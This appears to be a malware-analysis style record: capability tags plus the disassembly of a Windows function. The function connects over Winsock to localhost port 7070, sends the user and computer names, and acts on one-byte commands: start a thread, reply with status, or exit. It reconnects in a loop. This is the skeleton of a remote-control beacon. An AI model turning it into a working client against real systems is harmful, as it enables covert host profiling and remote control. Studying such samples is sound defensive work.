Function at 0x401b00
Capabilities:
Create thread
Get hostname
Get session user name
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x7c4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x7a0], 0
lea eax, [ebp - 0x198]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x190
call fcn.00402b40
mov dword [ebp - 0x7a4], 0xffffffff
lea eax, [ebp - 0x198]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
cmp eax, 0
jne 0x401dc3
jmp 0x401b70
lea eax, str.localhost
mov dword [esp], eax
mov dword [esp + 4], 0x1b9e
call section..text
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0xffffffff
je 0x401c61
mov dword [ebp - 0x79c], 0xff
lea ecx, [ebp - 0x697]
lea eax, [ebp - 0x79c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
lea ecx, [ebp - 0x796]
lea eax, [ebp - 0x79c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub esp, 8
lea eax, [ebp - 0x796]
lea ecx, [ebp - 0x697]
lea esi, [ebp - 0x598]
lea edx, [0x416210]
mov dword [esp], esi
mov dword [esp + 4], 0x400
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.00401e60
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x7a8]
lea ecx, [ebp - 0x598]
mov edx, dword [ebp - 0x7a4]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00401140
cmp eax, 0xffffffff
jne 0x401c5c
mov eax, dword [ebp - 0x7a4]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7a4], 0xffffffff
jmp 0x401c61
jmp 0x401c66
cmp dword [ebp - 0x7a4], 0xffffffff
je 0x401dae
mov ecx, dword [ebp - 0x7a4]
lea eax, [ebp - 0x797]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.00401180
cmp eax, 0
jg 0x401cb8
mov eax, dword [ebp - 0x7a4]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [ebp - 0x7a4], 0xffffffff
movzx eax, byte [ebp - 0x797]
mov dword [ebp - 0x7ac], eax
sub eax, 1
je 0x401cfb
jmp 0x401cd3
mov eax, dword [ebp - 0x7ac]
sub eax, 2
je 0x401d3c
jmp 0x401ce7
mov eax, dword [ebp - 0x7ac]
sub eax, 4
je 0x401d68
jmp 0x401d97
xor eax, eax
lea eax, [0x401580]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
jmp 0x401da9
mov byte [ebp - 0x797], 3
mov ecx, dword [ebp - 0x7a4]
lea eax, [ebp - 0x797]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
call fcn.00401140
jmp 0x401da9
lea eax, str._nClose_the_connection_:V__n
mov dword [esp], eax
call fcn.00401df0
mov eax, dword [ebp - 0x7a4]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x7a4]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
jmp 0x401c66
mov dword [esp], 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
jmp 0x401b70
xor eax, eax
mov dword [ebp - 0x7b0], eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00401fc6
mov eax, dword [ebp - 0x7b0]
add esp, 0x7c4
pop esi
pop ebp
ret